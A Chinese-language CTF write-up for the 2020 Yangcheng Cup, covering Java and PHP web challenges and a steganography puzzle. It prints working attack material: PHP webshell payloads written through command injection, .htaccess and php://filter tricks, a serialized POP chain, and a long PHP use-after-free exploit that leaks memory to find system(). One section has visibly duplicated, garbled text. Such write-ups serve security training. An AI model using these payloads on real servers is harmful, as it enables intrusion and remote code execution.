2020羊城杯CTF随缘Writeup
2020羊城杯CTF隨緣Writeup
docker源碼鏈接:
https://github.com/k3vin-3/YCBCTF2020
Web部分
a_piece_of_java
考點:源碼審計、java反序列化
PS:這道題沒整明白,直接給出官方WP
第一步,serialkiller 白名單過濾,構造動態代理觸發 JDBC 連接:
第二步 JDBC 反序列化攻擊 apache-commons-collections,可以參考:
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload,反序列化鏈構造可以用ysoserial,也可以自己寫。 至于給的 pom.xml 有什么用,除了提示 JDBC 反序列化,其次就是說明引進了 commons-collections 依賴,在 maven 倉庫中查詢 serialkiller,就會發現它引進了 commons-collections。
拿到flag:GWHT{5e97245bd9c98aad7040d461538e9231}
PS:看了這官方WP,還是沒明白。。。
easycon
考點:一句話木馬使用、base64轉圖片
訪問index.php直接提示"eval post cmd"
題目提示eavl post cmd,很明顯是一句話木馬,蟻劍連接,發現有個文件,里面一長串base64, 少了個頭部分,添加以后base64轉圖片得到flag
或者POST傳參cmd=system(“ls -al”);發現當前目錄下有文件bbbbbbbbb.txt:
回到頁面訪問,得到一串base64圖片后綴字符串,加上base64頭data:image/png;base64,,在URL訪問得到圖片中顯示的flag
拿到flag:GWHT{do__u__kn0w__c@idao}
BlackCat
考點:代碼審計、加密解密
訪問題目地址
下載音頻,用文本打開,文件尾有代碼
可以看出大概是將密鑰再加密后用來加密輸入的命令,進行強等判斷,如何繞過關鍵點就是讓環境變量clandestine被加密后可控,這里用了密鑰傳入數組的方法,加密后′′使clandestine被加密后可控,這里用了密鑰傳入數組的方法,加密后''使clandestine被加密后可控,這里用了密鑰傳入數組的方法,加密后′′使clandestine為一個定值,hash_hmac()函數第二個參數為數組的時候,返回結果為NULL。則clandestine可控,clandestine可控,clandestine可控,hh就可以 知道,判斷即可繞過。。。
White-cat-monitor[]=1&One-ear=;cat flag.php&Black-CatSheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
拿到flag:GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}
easyphp
考點:命令執行、繞過字符限制
訪問題目地址
方法一:構造payload,結尾要用\處理content中的 \n,不然違背 .htaccess書寫格式會導致 Apache 運行崩潰
沒有preg_match的waf后就可以通過php://filter偽協議寫入一句話
?filename=php://filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();方法二:利用\直接繞過字符限制,讀取flag
?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\
連蟻劍
拿到flag:GWHT{easyApache}
easyphp2
考點:文件包含、php偽協議
與easyphp類似
訪問題目地址
題目地址亮了!!!!
一看就是文件包含,想讀源碼發現偽協議里面的base64和rot13都被ban了,查了一下官方手冊找到一個可以用的轉換器或者看看有無robots.txt
還是個這???
利用
http://your ip:port/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php php://filter/read=convert.quoted-printable-encode/resource讀到的源碼
<?phpini_set('max_execution_time', 5);if ($_COOKIE['pass'] !== getenv('PASS')) {setcookie('pass', 'PASS');die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');}?><h1>A Counter is here, but it has someting wrong</h1><form><input type="""hidden" value="GWHT.php" name="file"><textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br /><input type="""submit"></form><?phpif (isset($_GET["count"])) {$count = $_GET["count"];if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){die('hacker!');}echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";}?></body></html>check.php
<?php $pass = "GWHT"; // Cookie password. echo "Here is nothing, isn't it ?";header('Location: /');讀到Cookie是GWHT,接下來就是命令執行exec(‘printf ‘’ . $count . ‘’ | wc -c’),exec命令無回顯,可以直接寫入shell
echo "<?=eval(\$_POST['shell'])?>" > shell.php ||'拿到flag:GWHT{Y0U_H4VE_A_BETTER_SK1LL}
break the wall
考點:觸發 UAF
報告者給出的最簡觸發腳本:
執行之后會發現輸出是一個奇怪的東西:
string(8) "在 new Test 之前先輸出一遍,看看原本正常的值:
string(8) "stdClass"調試一下查看內存,可以看到原本的內存是這樣的:
0x7ffff3e01988: 0x0000000600000002 0x0000000000000000 0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473 0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50 0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008 0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000 0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6ce6a006代表這是一個字符串,引用計數為 2,長度為 8,值為 stdClass。 之后的則是這樣的:
0x7ffff3e01988: 0x00007ffff3e019d8 0x0000000000000000 0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473 0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50 0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008 0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000 0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6f29b026掏出exp
<?php global $abc, $helper; class Test { public HelperHelperHelperHelperHelperHelperHelper $prop; } class HelperHelperHelperHelperHelperHelperHelper { public $a, $b; } function s2n($str) { $address = 0; for ($i=0;$i<4;$i++){ $address <<= 8; $address |= ord($str[4 + $i]); } return $address; } function s2b($str, $offset){ return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0", STR_PAD_LEFT)); } function leak($offset) { global $abc; $data = ""; for ($i = 0;$i < 8;$i++){ $data .= $abc[$offset + 7 - $i]; } return $data; } function leak2($address) { global $helper; write(0x20, $address); $leak = strlen($helper -> b); $leak = dechex($leak); $leak = str_pad($leak, 16, "0", STR_PAD_LEFT); $leak = hex2bin($leak); return $leak; } function write($offset, $data) { global $abc; $data = str_pad($data, 8, "\x00", STR_PAD_LEFT); for ($i = 0;$i < 8;$i++){ $abc[$offset + $i] = $data[7 - $i]; } } function get_basic_funcs($std_object_handlers) { $prefix = substr($std_object_handlers, 0, 4); $std_object_handlers = hexdec(bin2hex($std_object_handlers)); $start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change 0x920 if finding failed $NumPrefix = $std_object_handlers & 0x0000ffffff000000; $NumPrefix = $NumPrefix - 0x0000000001000000; $funcs = get_defined_functions()['internal']; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, "0", STR_PAD_LEFT)))); if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix) { continue; } $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); $name = explode("\x00", $name)[0]; if(in_array($name, $funcs)) { return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT), $std_object_handlers, $NumPrefix]; } } } function getSystem($unknown_func) { $unknown_addr = hex2bin($unknown_func[1]); $prefix = substr($unknown_addr, 0, 4); $unknown_addr = hexdec($unknown_func[1]); $start = $unknown_addr & 0x00000000ffffffff; for($i = 0;$i < 0x800;$i++) { $addr = $start - 0x20 * $i; $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, "0", STR_PAD_LEFT)))); if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) < $unknown_func[3]) { continue; } $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); if(strstr($name, "system")) { return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8, "0", STR_PAD_LEFT)))); } } for($i = 0;$i < 0x800;$i++) { $addr = $start + 0x20 * $i; $name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8, "0", STR_PAD_LEFT)))); if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) < $unknown_func[3]) { continue; } $name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT); $name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00))); if(strstr($name, "system")) { return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8, "0", STR_PAD_LEFT)))); } } } $rp = new ReflectionProperty(Test::class, 'prop'); $test = new Test; $test -> prop = new HelperHelperHelperHelperHelperHelperHelper; $abc = $rp -> getType() -> getName(); $helper = new HelperHelperHelperHelperHelperHelperHelper(); if (strlen($abc) < 1000) { exit("UAF Failed!"); } $helper -> a = $helper; $php_heap = leak(0x10); $helper -> a = function($x){}; $std_object_handlers = leak(0x0); $prefix = substr($php_heap, 0, 4); echo "Helper Object Address: " . bin2hex($php_heap) . "\n"; echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n"; $closure_object = leak(0x10);拿到flag:GWHT{478958c82caca09061066f392386a0ea}
easyser
考點:代碼審計、SSRF本地文件讀取、反序列化
看一下有莫有robots.txt
訪問star1.php
盲猜是SSRF本地文件讀取,還有可能用到反序列化寫入webshell,繞過死亡繞過,查看源碼,發現ser.php
訪問ser.php,源碼如下:
POP鏈構造+繞過exit
<?php class GWHT{public $hero; }class Yongen{ //flag.phppublic $file = "php://filter/convert.base64-decode/resource=shell.php";public $text = "aaaPD9waHAgZXZhbCgkX1BPU1Rbc10pOyAgPz4="; }$a = new GWHT; $a->hero = new Yongen; echo urlencode(serialize($a));拿到flag:GWHT{it’s_s0000_eaaaaasy_ser}
Misc
逃離東南亞
考點:lsb隱寫、base64
打開是三個壓縮包,第一個為破損的壓縮包,用010editor打開,修改文件頭為圖下
然后日記中,只給了張圖,那么往圖片隱寫方面考慮,打開茄子哥那張 圖,修改高度為300
根據日記中的描述,先看test 一長串奇怪的字符串,如果扔到谷歌搜索一下,你就會發現是brainfuck,然后就可以扔到在線網站解密:
直接解是不出有效結果的,需要通過觀察在前面加一串+++++++才行
看特征可以發現是一串base64 再扔去在線網站解:https://www.qqxiuzi.cn/bianma/base64.htm
從這文件頭上來看,這很可能是一個elf文件 進入Linux,使用base64命令,將解碼結果通過標準輸出重定向導出一個elf 運行之:
提示 mp3可能有lsb隱寫術??
解wav的lsb隱寫,使用silenteye工具
解出來發現下一個日記的壓縮包密碼是:This1sThe3rdZIPpwd
按照日記的提示,flag信息應該是被最后隱藏在代碼中的,但這個 sourc_code文件足足有50多m,一個個看顯然不現實 這里可以通過篩選修改日期或者直接寫規則掃描的腳本,定位到三個源代碼文件: elf/rtld.c、malloc/malloc.c、malloc/arena.c 可以發現,這三個源代碼是看不出東西來的
除非你剛剛好用了sublime來看代碼(或者其他能明顯標記出空格和\t 的IDE),并且剛剛好又全選了所 有代碼,你會發現,這三個文件都有 這樣的特點:
在}的后面,都跟了這樣的一串東西,是不是很像摩斯碼,但其實不是摩斯密碼,是空格和\t組成的字符 串,而且}后面每次都是跟8個字符 這樣就不難想到了,這是一個二進制表達方式,\t代表1,空格代表0 然后寫個python腳本,逐個掃一遍 elf/rtld.c、malloc/malloc.c、malloc/arena.c
可以看到這樣就出flag
拿到flag:GWCTF{code_steganography_is_funny!}
未完待續。。。
總結
以上是生活随笔為你收集整理的2020羊城杯CTF随缘Writeup的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 计算机大机实验报告,大学计算机一实验报告
- 下一篇: ie浏览器上取到多个MAC地址